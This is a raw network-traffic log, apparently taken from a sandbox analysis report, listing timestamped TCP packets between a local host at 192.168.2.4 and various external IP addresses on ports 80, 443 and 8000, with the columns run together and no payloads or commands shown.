                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.986576080 CET8049747199.191.50.83192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.986578941 CET4974780192.168.2.4199.191.50.83
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.986712933 CET8049747199.191.50.83192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.986725092 CET8049747199.191.50.83192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.986825943 CET4974780192.168.2.4199.191.50.83
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.986865044 CET4974780192.168.2.4199.191.50.83
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.986933947 CET8049747199.191.50.83192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.986946106 CET8049747199.191.50.83192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.986958027 CET8049747199.191.50.83192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.986969948 CET8049747199.191.50.83192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.986979961 CET4974780192.168.2.4199.191.50.83
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.986999989 CET4974780192.168.2.4199.191.50.83
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.987046003 CET4974780192.168.2.4199.191.50.83
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.987361908 CET8049747199.191.50.83192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.987375021 CET8049747199.191.50.83192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.987385988 CET8049747199.191.50.83192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.987399101 CET8049747199.191.50.83192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.987411976 CET8049747199.191.50.83192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.987415075 CET4974780192.168.2.4199.191.50.83
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.987459898 CET4974780192.168.2.4199.191.50.83
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.987865925 CET8049747199.191.50.83192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.987891912 CET8049747199.191.50.83192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.987904072 CET8049747199.191.50.83192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.987915993 CET8049747199.191.50.83192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.987929106 CET8049747199.191.50.83192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.987951994 CET4974780192.168.2.4199.191.50.83
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.987993956 CET4974780192.168.2.4199.191.50.83
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.988385916 CET8049747199.191.50.83192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.988398075 CET8049747199.191.50.83192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.988411903 CET8049747199.191.50.83192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.988424063 CET8049747199.191.50.83192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.988436937 CET8049747199.191.50.83192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.988449097 CET4974780192.168.2.4199.191.50.83
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.988451958 CET8049747199.191.50.83192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.988470078 CET8049747199.191.50.83192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.988487005 CET4974780192.168.2.4199.191.50.83
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.988528967 CET4974780192.168.2.4199.191.50.83
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.989118099 CET8049747199.191.50.83192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.989130020 CET8049747199.191.50.83192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.989140034 CET8049747199.191.50.83192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.989151955 CET8049747199.191.50.83192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.989166975 CET8049747199.191.50.83192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.989175081 CET4974780192.168.2.4199.191.50.83
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.989180088 CET8049747199.191.50.83192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.989193916 CET8049747199.191.50.83192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.989207029 CET8049747199.191.50.83192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.989217997 CET4974780192.168.2.4199.191.50.83
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.989243984 CET4974780192.168.2.4199.191.50.83
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.989268064 CET4974780192.168.2.4199.191.50.83
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.989869118 CET8049747199.191.50.83192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.989878893 CET8049747199.191.50.83192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.989938974 CET4974780192.168.2.4199.191.50.83
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.990031958 CET8049747199.191.50.83192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.990044117 CET8049747199.191.50.83192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.990053892 CET8049747199.191.50.83192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.990066051 CET8049747199.191.50.83192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.990081072 CET8049747199.191.50.83192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.990093946 CET8049747199.191.50.83192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.990106106 CET8049747199.191.50.83192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.990118027 CET8049747199.191.50.83192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.990129948 CET8049747199.191.50.83192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.990134001 CET4974780192.168.2.4199.191.50.83
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.990170002 CET4974780192.168.2.4199.191.50.83
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.990186930 CET4974780192.168.2.4199.191.50.83
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.990864038 CET8049747199.191.50.83192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.990876913 CET8049747199.191.50.83192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:49.990941048 CET4974780192.168.2.4199.191.50.83
                                                                                                                                                                                                                    Nov 11, 2024 18:48:50.017626047 CET4435571775.2.71.199192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:50.017724037 CET55717443192.168.2.475.2.71.199
                                                                                                                                                                                                                    Nov 11, 2024 18:48:50.018412113 CET4435571775.2.71.199192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:50.018484116 CET55717443192.168.2.475.2.71.199
                                                                                                                                                                                                                    Nov 11, 2024 18:48:50.019448996 CET4435571775.2.71.199192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:50.019463062 CET4435571775.2.71.199192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:50.019553900 CET55717443192.168.2.475.2.71.199
                                                                                                                                                                                                                    Nov 11, 2024 18:48:50.019566059 CET4435571775.2.71.199192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:50.019699097 CET55717443192.168.2.475.2.71.199
                                                                                                                                                                                                                    Nov 11, 2024 18:48:50.019721985 CET4435571775.2.71.199192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:50.019777060 CET55717443192.168.2.475.2.71.199
                                                                                                                                                                                                                    Nov 11, 2024 18:48:50.019781113 CET4435571775.2.71.199192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:50.019876957 CET55717443192.168.2.475.2.71.199
                                                                                                                                                                                                                    Nov 11, 2024 18:48:50.020356894 CET4435571775.2.71.199192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:50.020431042 CET55717443192.168.2.475.2.71.199
                                                                                                                                                                                                                    Nov 11, 2024 18:48:50.095321894 CET8049747199.191.50.83192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:50.095350981 CET8049747199.191.50.83192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:50.095380068 CET4974780192.168.2.4199.191.50.83
                                                                                                                                                                                                                    Nov 11, 2024 18:48:50.095427036 CET4974780192.168.2.4199.191.50.83
                                                                                                                                                                                                                    Nov 11, 2024 18:48:50.099411011 CET4435571775.2.71.199192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:50.099458933 CET4435571775.2.71.199192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:50.099500895 CET55717443192.168.2.475.2.71.199
                                                                                                                                                                                                                    Nov 11, 2024 18:48:50.099534988 CET4435571775.2.71.199192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:50.099550962 CET55717443192.168.2.475.2.71.199
                                                                                                                                                                                                                    Nov 11, 2024 18:48:50.099577904 CET55717443192.168.2.475.2.71.199
                                                                                                                                                                                                                    Nov 11, 2024 18:48:50.100826979 CET4435571775.2.71.199192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:50.100862026 CET4435571775.2.71.199192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:50.100905895 CET55717443192.168.2.475.2.71.199
                                                                                                                                                                                                                    Nov 11, 2024 18:48:50.100912094 CET4435571775.2.71.199192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:50.100934982 CET55717443192.168.2.475.2.71.199
                                                                                                                                                                                                                    Nov 11, 2024 18:48:50.100946903 CET4435571775.2.71.199192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:50.100955963 CET55717443192.168.2.475.2.71.199
                                                                                                                                                                                                                    Nov 11, 2024 18:48:50.100992918 CET55717443192.168.2.475.2.71.199
                                                                                                                                                                                                                    Nov 11, 2024 18:48:50.101106882 CET55717443192.168.2.475.2.71.199
                                                                                                                                                                                                                    Nov 11, 2024 18:48:50.101123095 CET4435571775.2.71.199192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:50.635884047 CET8049753103.150.10.48192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:50.635962009 CET4975380192.168.2.4103.150.10.48
                                                                                                                                                                                                                    Nov 11, 2024 18:48:50.850034952 CET44355719188.114.96.3192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:50.850083113 CET44355719188.114.96.3192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:50.850096941 CET55719443192.168.2.4188.114.96.3
                                                                                                                                                                                                                    Nov 11, 2024 18:48:50.850116014 CET44355719188.114.96.3192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:50.850133896 CET55719443192.168.2.4188.114.96.3
                                                                                                                                                                                                                    Nov 11, 2024 18:48:50.850151062 CET44355719188.114.96.3192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:50.850183010 CET44355719188.114.96.3192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:50.850198030 CET55719443192.168.2.4188.114.96.3
                                                                                                                                                                                                                    Nov 11, 2024 18:48:50.850204945 CET44355719188.114.96.3192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:50.850227118 CET55719443192.168.2.4188.114.96.3
                                                                                                                                                                                                                    Nov 11, 2024 18:48:50.850234985 CET44355719188.114.96.3192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:50.850239992 CET55719443192.168.2.4188.114.96.3
                                                                                                                                                                                                                    Nov 11, 2024 18:48:50.850245953 CET44355719188.114.96.3192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:50.850280046 CET55719443192.168.2.4188.114.96.3
                                                                                                                                                                                                                    Nov 11, 2024 18:48:50.850286007 CET44355719188.114.96.3192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:50.850348949 CET55719443192.168.2.4188.114.96.3
                                                                                                                                                                                                                    Nov 11, 2024 18:48:50.850516081 CET44355719188.114.96.3192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:50.850596905 CET55719443192.168.2.4188.114.96.3
                                                                                                                                                                                                                    Nov 11, 2024 18:48:50.850603104 CET44355719188.114.96.3192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:50.850645065 CET55719443192.168.2.4188.114.96.3
                                                                                                                                                                                                                    Nov 11, 2024 18:48:50.850821018 CET55719443192.168.2.4188.114.96.3
                                                                                                                                                                                                                    Nov 11, 2024 18:48:50.850843906 CET55719443192.168.2.4188.114.96.3
                                                                                                                                                                                                                    Nov 11, 2024 18:48:50.853024960 CET4973280192.168.2.4188.114.96.3
                                                                                                                                                                                                                    Nov 11, 2024 18:48:50.858326912 CET8049732188.114.96.3192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:51.253891945 CET8049732188.114.96.3192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:51.253992081 CET4973280192.168.2.4188.114.96.3
                                                                                                                                                                                                                    Nov 11, 2024 18:48:51.254733086 CET8049732188.114.96.3192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:51.254785061 CET4973280192.168.2.4188.114.96.3
                                                                                                                                                                                                                    Nov 11, 2024 18:48:51.254800081 CET8049732188.114.96.3192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:51.254859924 CET4973280192.168.2.4188.114.96.3
                                                                                                                                                                                                                    Nov 11, 2024 18:48:51.260571003 CET55721443192.168.2.4188.114.96.3
                                                                                                                                                                                                                    Nov 11, 2024 18:48:51.260616064 CET44355721188.114.96.3192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:51.260756016 CET55721443192.168.2.4188.114.96.3
                                                                                                                                                                                                                    Nov 11, 2024 18:48:51.261070967 CET55721443192.168.2.4188.114.96.3
                                                                                                                                                                                                                    Nov 11, 2024 18:48:51.261077881 CET44355721188.114.96.3192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:51.693325996 CET44355721188.114.96.3192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:51.693464041 CET55721443192.168.2.4188.114.96.3
                                                                                                                                                                                                                    Nov 11, 2024 18:48:51.695449114 CET55721443192.168.2.4188.114.96.3
                                                                                                                                                                                                                    Nov 11, 2024 18:48:51.695467949 CET44355721188.114.96.3192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:51.695719957 CET44355721188.114.96.3192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:51.695852041 CET55721443192.168.2.4188.114.96.3
                                                                                                                                                                                                                    Nov 11, 2024 18:48:51.696326017 CET55721443192.168.2.4188.114.96.3
                                                                                                                                                                                                                    Nov 11, 2024 18:48:51.743335962 CET44355721188.114.96.3192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:52.500598907 CET44355721188.114.96.3192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:52.500648975 CET44355721188.114.96.3192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:52.500669956 CET55721443192.168.2.4188.114.96.3
                                                                                                                                                                                                                    Nov 11, 2024 18:48:52.500679970 CET44355721188.114.96.3192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:52.500701904 CET44355721188.114.96.3192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:52.500715017 CET55721443192.168.2.4188.114.96.3
                                                                                                                                                                                                                    Nov 11, 2024 18:48:52.500727892 CET55721443192.168.2.4188.114.96.3
                                                                                                                                                                                                                    Nov 11, 2024 18:48:52.500739098 CET55721443192.168.2.4188.114.96.3
                                                                                                                                                                                                                    Nov 11, 2024 18:48:52.500742912 CET44355721188.114.96.3192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:52.500782013 CET55721443192.168.2.4188.114.96.3
                                                                                                                                                                                                                    Nov 11, 2024 18:48:52.500951052 CET44355721188.114.96.3192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:52.501012087 CET55721443192.168.2.4188.114.96.3
                                                                                                                                                                                                                    Nov 11, 2024 18:48:52.501061916 CET44355721188.114.96.3192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:52.501153946 CET55721443192.168.2.4188.114.96.3
                                                                                                                                                                                                                    Nov 11, 2024 18:48:52.501159906 CET44355721188.114.96.3192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:52.501200914 CET55721443192.168.2.4188.114.96.3
                                                                                                                                                                                                                    Nov 11, 2024 18:48:52.501250982 CET44355721188.114.96.3192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:52.501382113 CET55721443192.168.2.4188.114.96.3
                                                                                                                                                                                                                    Nov 11, 2024 18:48:52.501382113 CET55721443192.168.2.4188.114.96.3
                                                                                                                                                                                                                    Nov 11, 2024 18:48:52.501390934 CET44355721188.114.96.3192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:52.501411915 CET55721443192.168.2.4188.114.96.3
                                                                                                                                                                                                                    Nov 11, 2024 18:48:52.501436949 CET55721443192.168.2.4188.114.96.3
                                                                                                                                                                                                                    Nov 11, 2024 18:48:52.580204010 CET4975080192.168.2.4188.114.97.3
                                                                                                                                                                                                                    Nov 11, 2024 18:48:52.585030079 CET8049750188.114.97.3192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:52.692620993 CET4975380192.168.2.4103.150.10.48
                                                                                                                                                                                                                    Nov 11, 2024 18:48:52.692966938 CET5572280192.168.2.4103.150.10.48
                                                                                                                                                                                                                    Nov 11, 2024 18:48:52.697590113 CET8049753103.150.10.48192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:52.697870970 CET8055722103.150.10.48192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:52.697952032 CET5572280192.168.2.4103.150.10.48
                                                                                                                                                                                                                    Nov 11, 2024 18:48:52.698088884 CET5572280192.168.2.4103.150.10.48
                                                                                                                                                                                                                    Nov 11, 2024 18:48:52.702860117 CET8055722103.150.10.48192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:53.010138988 CET8049750188.114.97.3192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:53.010206938 CET4975080192.168.2.4188.114.97.3
                                                                                                                                                                                                                    Nov 11, 2024 18:48:53.181536913 CET55723443192.168.2.4188.114.97.3
                                                                                                                                                                                                                    Nov 11, 2024 18:48:53.181579113 CET44355723188.114.97.3192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:53.181654930 CET55723443192.168.2.4188.114.97.3
                                                                                                                                                                                                                    Nov 11, 2024 18:48:53.181978941 CET55723443192.168.2.4188.114.97.3
                                                                                                                                                                                                                    Nov 11, 2024 18:48:53.181993961 CET44355723188.114.97.3192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:53.610583067 CET44355723188.114.97.3192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:53.610667944 CET55723443192.168.2.4188.114.97.3
                                                                                                                                                                                                                    Nov 11, 2024 18:48:53.612459898 CET55723443192.168.2.4188.114.97.3
                                                                                                                                                                                                                    Nov 11, 2024 18:48:53.612468958 CET44355723188.114.97.3192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:53.612731934 CET44355723188.114.97.3192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:53.612801075 CET55723443192.168.2.4188.114.97.3
                                                                                                                                                                                                                    Nov 11, 2024 18:48:53.613095999 CET55723443192.168.2.4188.114.97.3
                                                                                                                                                                                                                    Nov 11, 2024 18:48:53.655329943 CET44355723188.114.97.3192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:55.091217041 CET44355723188.114.97.3192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:55.091273069 CET44355723188.114.97.3192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:55.091301918 CET44355723188.114.97.3192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:55.091341972 CET44355723188.114.97.3192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:55.091368914 CET55723443192.168.2.4188.114.97.3
                                                                                                                                                                                                                    Nov 11, 2024 18:48:55.091403961 CET44355723188.114.97.3192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:55.091420889 CET55723443192.168.2.4188.114.97.3
                                                                                                                                                                                                                    Nov 11, 2024 18:48:55.091445923 CET55723443192.168.2.4188.114.97.3
                                                                                                                                                                                                                    Nov 11, 2024 18:48:55.091572046 CET44355723188.114.97.3192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:55.091617107 CET55723443192.168.2.4188.114.97.3
                                                                                                                                                                                                                    Nov 11, 2024 18:48:55.091624022 CET44355723188.114.97.3192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:55.091649055 CET44355723188.114.97.3192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:55.091661930 CET55723443192.168.2.4188.114.97.3
                                                                                                                                                                                                                    Nov 11, 2024 18:48:55.091669083 CET44355723188.114.97.3192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:55.091700077 CET55723443192.168.2.4188.114.97.3
                                                                                                                                                                                                                    Nov 11, 2024 18:48:55.091721058 CET55723443192.168.2.4188.114.97.3
                                                                                                                                                                                                                    Nov 11, 2024 18:48:55.091903925 CET44355723188.114.97.3192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:55.091943026 CET55723443192.168.2.4188.114.97.3
                                                                                                                                                                                                                    Nov 11, 2024 18:48:55.169816971 CET55723443192.168.2.4188.114.97.3
                                                                                                                                                                                                                    Nov 11, 2024 18:48:55.169939995 CET44355723188.114.97.3192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:55.170053005 CET55723443192.168.2.4188.114.97.3
                                                                                                                                                                                                                    Nov 11, 2024 18:48:55.903817892 CET4975080192.168.2.4188.114.97.3
                                                                                                                                                                                                                    Nov 11, 2024 18:48:55.908727884 CET8049750188.114.97.3192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:56.237966061 CET8049750188.114.97.3192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:56.238076925 CET4975080192.168.2.4188.114.97.3
                                                                                                                                                                                                                    Nov 11, 2024 18:48:56.334230900 CET55726443192.168.2.4188.114.97.3
                                                                                                                                                                                                                    Nov 11, 2024 18:48:56.334276915 CET44355726188.114.97.3192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:56.334338903 CET55726443192.168.2.4188.114.97.3
                                                                                                                                                                                                                    Nov 11, 2024 18:48:56.334563971 CET55726443192.168.2.4188.114.97.3
                                                                                                                                                                                                                    Nov 11, 2024 18:48:56.334583998 CET44355726188.114.97.3192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:56.498204947 CET8055722103.150.10.48192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:56.498267889 CET5572280192.168.2.4103.150.10.48
                                                                                                                                                                                                                    Nov 11, 2024 18:48:56.591203928 CET497558000192.168.2.4106.15.232.163
                                                                                                                                                                                                                    Nov 11, 2024 18:48:56.596159935 CET800049755106.15.232.163192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:56.686161995 CET8055722103.150.10.48192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:56.686233044 CET5572280192.168.2.4103.150.10.48
                                                                                                                                                                                                                    Nov 11, 2024 18:48:56.779364109 CET44355726188.114.97.3192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:56.779438972 CET55726443192.168.2.4188.114.97.3
                                                                                                                                                                                                                    Nov 11, 2024 18:48:56.835719109 CET55726443192.168.2.4188.114.97.3
                                                                                                                                                                                                                    Nov 11, 2024 18:48:56.835771084 CET44355726188.114.97.3192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:56.836124897 CET44355726188.114.97.3192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:56.836172104 CET55726443192.168.2.4188.114.97.3
                                                                                                                                                                                                                    Nov 11, 2024 18:48:56.838852882 CET55726443192.168.2.4188.114.97.3
                                                                                                                                                                                                                    Nov 11, 2024 18:48:56.877841949 CET800049755106.15.232.163192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:56.877902031 CET497558000192.168.2.4106.15.232.163
                                                                                                                                                                                                                    Nov 11, 2024 18:48:56.883327961 CET44355726188.114.97.3192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:57.034415960 CET5572280192.168.2.4103.150.10.48
                                                                                                                                                                                                                    Nov 11, 2024 18:48:57.034766912 CET5572780192.168.2.4103.150.10.48
                                                                                                                                                                                                                    Nov 11, 2024 18:48:57.039472103 CET8055722103.150.10.48192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:57.039764881 CET8055727103.150.10.48192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:57.042133093 CET5572780192.168.2.4103.150.10.48
                                                                                                                                                                                                                    Nov 11, 2024 18:48:57.061657906 CET5572780192.168.2.4103.150.10.48
                                                                                                                                                                                                                    Nov 11, 2024 18:48:57.067305088 CET8055727103.150.10.48192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:57.350379944 CET5572980192.168.2.4178.162.203.202
                                                                                                                                                                                                                    Nov 11, 2024 18:48:57.355879068 CET8055729178.162.203.202192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:57.356019974 CET5572980192.168.2.4178.162.203.202
                                                                                                                                                                                                                    Nov 11, 2024 18:48:57.359493017 CET5572980192.168.2.4178.162.203.202
                                                                                                                                                                                                                    Nov 11, 2024 18:48:57.359492064 CET5573080192.168.2.4199.59.243.227
                                                                                                                                                                                                                    Nov 11, 2024 18:48:57.364521027 CET8055729178.162.203.202192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:57.364545107 CET8055730199.59.243.227192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:57.365045071 CET5573080192.168.2.4199.59.243.227
                                                                                                                                                                                                                    Nov 11, 2024 18:48:57.365045071 CET5573080192.168.2.4199.59.243.227
                                                                                                                                                                                                                    Nov 11, 2024 18:48:57.370217085 CET8055730199.59.243.227192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:57.396784067 CET5573180192.168.2.4208.100.26.245
                                                                                                                                                                                                                    Nov 11, 2024 18:48:57.401793957 CET8055731208.100.26.245192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:57.401913881 CET5573180192.168.2.4208.100.26.245
                                                                                                                                                                                                                    Nov 11, 2024 18:48:57.402024031 CET5573180192.168.2.4208.100.26.245
                                                                                                                                                                                                                    Nov 11, 2024 18:48:57.403223038 CET5573280192.168.2.4162.255.119.102
                                                                                                                                                                                                                    Nov 11, 2024 18:48:57.407048941 CET8055731208.100.26.245192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:57.408263922 CET8055732162.255.119.102192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:57.408509970 CET5573280192.168.2.4162.255.119.102
                                                                                                                                                                                                                    Nov 11, 2024 18:48:57.411277056 CET5573280192.168.2.4162.255.119.102
                                                                                                                                                                                                                    Nov 11, 2024 18:48:57.416363955 CET8055732162.255.119.102192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:57.420408010 CET5573380192.168.2.444.221.84.105
                                                                                                                                                                                                                    Nov 11, 2024 18:48:57.422250986 CET5573480192.168.2.4188.114.96.3
                                                                                                                                                                                                                    Nov 11, 2024 18:48:57.422602892 CET5573580192.168.2.444.221.84.105
                                                                                                                                                                                                                    Nov 11, 2024 18:48:57.425386906 CET805573344.221.84.105192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:57.425530910 CET5573380192.168.2.444.221.84.105
                                                                                                                                                                                                                    Nov 11, 2024 18:48:57.425772905 CET5573380192.168.2.444.221.84.105
                                                                                                                                                                                                                    Nov 11, 2024 18:48:57.427294016 CET8055734188.114.96.3192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:57.427382946 CET805573544.221.84.105192.168.2.4
                                                                                                                                                                                                                    Nov 11, 2024 18:48:57.427448034 CET5573580192.168.2.444.221.84.105
                                                                                                                                                                                                                    Nov 11, 2024 18:48:57.427542925 CET5573480192.168.2.4188.114.96.3
                                                                                                                                                                                                                    Nov 11, 2024 18:48:57.428002119 CET5573480192.168.2.4188.114.96.3
                                                                                                                                                                                                                    Nov 11, 2024 18:48:57.428271055 CET5573580192.168.2.444.221.84.105
